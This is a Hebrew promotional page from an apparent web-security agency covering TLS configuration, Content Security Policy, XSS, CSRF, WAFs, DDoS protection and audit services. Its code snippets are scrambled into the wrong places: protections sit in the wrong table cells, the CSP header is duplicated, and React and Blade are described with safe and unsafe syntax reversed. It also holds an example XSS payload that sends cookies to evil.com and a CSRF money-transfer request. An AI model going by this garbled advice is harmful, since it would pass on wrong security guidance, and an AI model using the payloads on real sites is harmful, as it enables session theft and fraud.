אבטחת יישומי אינטרנט: HTTPS, CSP, XSS, CSRF, WAF, הגנה מפני DDoS
פריצה לאתר רק לעיתים רחוקות נראית כמו בסרטים. לעתים קרובות יותר זה: בוט מוצא נקודת קצה לא מוגנת /admin/export, מוריד את מאגר הלקוחות, וסוגר את החיבור. או: דרך תוסף WordPress מיושן, מועלית מעטפת אינטרנט, והשרת מתחיל לשלוח ספאם. או שקט יותר: XSS בשדה תגובה מאפשר גניבת עוגיות סשן של מנהל, מבלי שיבחינו בכך במשך חודשים. ניתחנו עשרות מקרים כאלה — כל פרצה הייתה יכולה להיתקן בשלב הפיתוח או הביקורת.
אבטחת יישומי אינטרנט אינה הגדרה אחת. היא שכבות של הגנה, שכל אחת סוגרת סוג התקפה נפרד. הזמינו ביקורת — נבדוק את הפרויקט ונספק תוכנית סוהר תוך 2–4 שבועות.
כיצד אנו מבטיחים אבטחה מקיפה ליישומי אינטרנט?
HTTPS ותצורת TLS נכונה
HTTPS הוא הרמה המינימלית החובה. אבל יש הבדל בין בעלות על תעודת SSL לבין תצורת TLS מוגדרת כראוי.
בתצורת Nginx/Apache אנו בודקים:
- פרוטוקולים: רק TLS 1.2 ו-TLS 1.3, SSLv3 ו-TLS 1.0/1.1 מושבתים
- חבילות צופן: העדפה ל-ECDHE (Forward Secrecy), הסרת NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — הדפדפן לעולם לא יבצע בקשות לא מאובטחות - OCSP Stapling — מאיץ את בדיקת ביטול התעודה
- הפניית 301 מ-HTTP ל-HTTPS — גם בתצורת השרת וגם בקוד (הפנייה כפולה גורמת לאובדן משקל SEO)
בדיקה: SSL Labs (ssllabs.com/ssltest) אמור להראות A או A+. אם B, התצורה חלשה.
Let's Encrypt + Certbot לסביבת ייצור הוא הסטנדרט. חידוש אוטומטי דרך certbot renew ב-cron. תעודות Wildcard לתת-דומיינים באמצעות אתגר DNS-01.
מדיניות אבטחת תוכן: ההגנה החזקה והמורכבת ביותר
CSP הוא כותרת HTTP שאומרת לדפדפן מאילו מקורות מותר לטעון משאבים. מדיניות CSP מוגדרת כראוי חוסמת לחלוטין את רוב התקפות ה-XSS, גם אם קיימת פרצה בקוד.
הבעיה: קל לשבור את האתר עם CSP שגוי. default-src 'none' — ופונטים, תמונות, JS מפסיקים לעבוד. לכן אנו מתחילים עם Content-Security-Policy-Report-Only — CSP מתעד הפרות אך אינו חוסם דבר. אנו עוקבים אחר הדוחות במשך 2–4 שבועות, משכללים את המדיניות, ואז עוברים למצב אכיפה.
דוגמה למדיניות אמיתית לאתר עם Google Analytics, Google Fonts ו-Stripe:
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}'; style-src 'self' https://fonts.googleapis.com 'unsafe-inline'; font-src 'self' https://fonts.gstatic.com; frame-src https://js.stripe.com; img-src 'self' data: https://www.google-analytics.com; connect-src 'self' https://api.stripe.com https://www.google-analytics.com; report-uri /csp-report; Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}'; style-src 'self' https://fonts.googleapis.com 'unsafe-inline'; font-src 'self' https://fonts.gstatic.com; frame-src https://js.stripe.com; img-src 'self' data: https://www.google-analytics.com; connect-src 'self' https://api.stripe.com https://www.google-analytics.com; report-uri /csp-report; — מחרוזת אקראית שנוצרת בצד השרת לכל בקשה. סקריפטים פנימיים עם nonce נכון מותרים; ללא nonce, הם חסומים. זה שובר לחלוטין XSS דרך nonce.
<script>alert(1)</script> ב-'unsafe-inline' הוא פשרה עבור סגנונות פנימיים. עדיף להסיר אותו על ידי העברת כל הסגנונות לקבצי CSS, אבל זה דורש רפקטורינג.
מדוע XSS נותרה הפרצה הנפוצה ביותר?
XSS (Cross-Site Scripting) — הזרקת קוד JS דרך קלט משתמש. לפי OWASP, XSS נמצאת בשלוש הפרצות המובילות ביישומי אינטרנט. שלושה סוגים:
| סוג XSS | דוגמה | הגנה |
|---|---|---|
| Reflected | style-src |
הצפנת פלט, CSP |
| Stored | תגובה עם קוד שנשמר במאגר | אימות קלט, /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
| DOM XSS | htmlspecialchars() |
הימנעות מ-element.innerHTML = location.hash, שימוש ב-innerHTML |
הגנה: לעולם אל תכניסו קלט משתמש ל-HTML ללא הצפנה. ב-PHP — textContent עם htmlspecialchars(). בתבניות Laravel Blade — ENT_QUOTES בטוח, {{ $var }} מסוכן. ב-React — {!! $var !!} בטוח, {variable} מסוכן. לטקסט עשיר — השתמשו ב-dangerouslySetInnerHTML ב-PHP או htmlpurifier בדפדפן.
מקרה טיפוסי: אתר מסחר אלקטרוני עם XSS בטופס ביקורות
לקוח פנה אלינו לאחר שתוקף גנב עוגיות מנהל דרך ביקורת מוצר. גילינו ששדה הביקורת לא הוצפן. תיקנו זאת על ידי הוספת `htmlspecialchars()` בצד השרת ומדיניות Content-Security-Policy עם nonce לסקריפטים. לאחר סריקה חוזרת — 0 פרצות.CSRF: הגנה על טפסים ו-API
CSRF (Cross-Site Request Forgery) — תוקף מאלץ את דפדפן הקורבן לשלוח בקשה בשמו. דוגמה: משתמש מחובר לבנק, פותח דף זדוני, שמבצע DOMPurify — אם הבנק לא מוגן, כסף מועבר.
אסימוני CSRF — הגנה סטנדרטית לטפסים: השרת יוצר אסימון אקראי, שומר אותו בסשן, ומכניס אותו כשדה נסתר בטופס. בבקשת POST, האסימון מאומת. התוקף לא יודע את האסימון. Laravel עושה זאת אוטומטית עם fetch('https://bank.ru/transfer?to=evil&amount=50000').
עוגיות SameSite — הגנה מודרנית: @csrf או SameSite=Strict מונעות מהדפדפן לשלוח עוגיות בבקשות חוצות-אתרים. עובד בכל הדפדפנים המודרניים.
API ללא סשנים (JWT, אסימוני Bearer) — CSRF לא רלוונטי אם האסימון לא מאוחסן בעוגייה (אלא בכותרת Authorization או ב-localStorage). עם זאת, localStorage פגיע ל-XSS — לכן עבור נתונים רגישים, עדיפות לעוגיות HttpOnly עם SameSite.
WAF והגנה מפני DDoS
WAF (Web Application Firewall) מסנן תעבורת HTTP מפני התקפות: SQL injection, XSS, path traversal, דפוסי ניצול ידועים. אפשרויות:
- Cloudflare WAF — מבוסס ענן, כללי OWASP Top 10 מובנים, כללים מותאמים אישית באמצעות ביטויים. Managed Rules חוסמות איומים חדשים אוטומטית.
- ModSecurity (Nginx/Apache) — מתארח עצמאית, OWASP Core Rule Set (CRS). גמיש אך דורש כוונון וניטור של חיובי שגויים.
- AWS WAF — לתשתית על AWS, משתלב עם CloudFront ו-ALB.
הגנה מפני DDoS. Cloudflare ב-L3/L4/L7 הוא הסטנדרט דה-פקטו לרוב האתרים. הפחתה אוטומטית של התקפות נפח, מצב Under Attack במהלך התקפות פעילות. לתשתית קריטית — Cloudflare Magic Transit או פתרונות ייעודיים (Qrator, StormWall לשוק הרוסי).
Rate Limiting ברמת היישום — שכבה נוספת. Laravel SameSite=Lax middleware: 60 בקשות לדקה לכל IP עבור נקודות קצה כלליות, 5 עבור Authorization ו-ThrottleRequests. Redis כמאגר מונים — חובה למערכות הניתנות להרחבה אופקית (אחרת המגבלות לא מסונכרנות בין שרתים).
אמצעים חובה נוספים
כותרות אבטחה. בנוסף ל-CSP: /login (הגנה מפני clickjacking), /password/reset (מניעת MIME sniffing), X-Frame-Options: DENY, X-Content-Type-Options: nosniff (הגבלת גישה ל-API של הדפדפן: מצלמה, מיקרופון, מיקום).
SQL injection. הצהרות מוכנות בכל מקום. אין שרשור של קלט משתמש למחרוזות SQL. ORM (Eloquent, Doctrine) מגן כברירת מחדל. Referrer-Policy: strict-origin-when-cross-origin ב-WordPress הוא חובה.
עדכוני תלויות. Permissions-Policy ו-$wpdb->prepare() בצינור CI/CD. Dependabot או Renovate ל-PRs אוטומטיים עם עדכונים. CVEs קריטיים — תיקון תוך 24 שעות.
סודות ותצורה. composer audit — לעולם לא ב-Git. סודות בסביבת ייצור — דרך משתני סביבה של CI/CD (GitHub Secrets, GitLab CI Variables) או HashiCorp Vault. זיהוי דליפות: npm audit, truffleHog ב-pre-commit hooks.
כיצד אנו עובדים
- ביקורת — סריקת קוד, סקירת תצורה, ניתוח תלויות, אימות ידני של לוגיקה עסקית.
- תכנון — תוכנית תיקון פרצות, בחירת מחסנית (CSP, WAF, rate limiting).
- יישום — הגדרת TLS, תצורת CSP, כותרות, Rate Limiting, WAF.
- בדיקות — בדיקת חדירה חוזרת, בדיקות עומס, בדיקת חיובי שגויים.
- פריסה וניטור — הפעלת CSP בסביבת ייצור, הגדרת התראות, הדרכת הצוות.
מה כלול
- דוח עם פרצות שנמצאו והמלצות (PDF + קטעי קוד)
- תצורת TLS מוכנה (Nginx/Apache)
- מדיניות CSP עם גרסאות Report-Only וייצור
- הגדרת WAF ו-Rate Limiting
- תוכנית עדכון תלויות
- גישה לכלי ניטור (Sentry, Datadog)
- 30 ימי תמיכה לאחר הביקורת (ייעוץ, תיקונים)
לוח זמנים ועלות
| סוג עבודה | משך | עלות |
|---|---|---|
| ביקורת אבטחה + חיזוק (כותרות, TLS, עדכונים) | 1–2 שבועות | הצעת מחיר אישית |
| יישום CSP (Report-Only → ייצור) | 2–4 שבועות | הצעת מחיר אישית |
| הגדרת WAF + Rate Limiting + הגנה מפני DDoS | 1–2 שבועות | הצעת מחיר אישית |
| סקירת אבטחה מקיפה + בדיקות חדירה | 3–6 שבועות | הצעת מחיר אישית |
התקציב מחושב באופן אישי — צרו קשר להערכת פרויקט.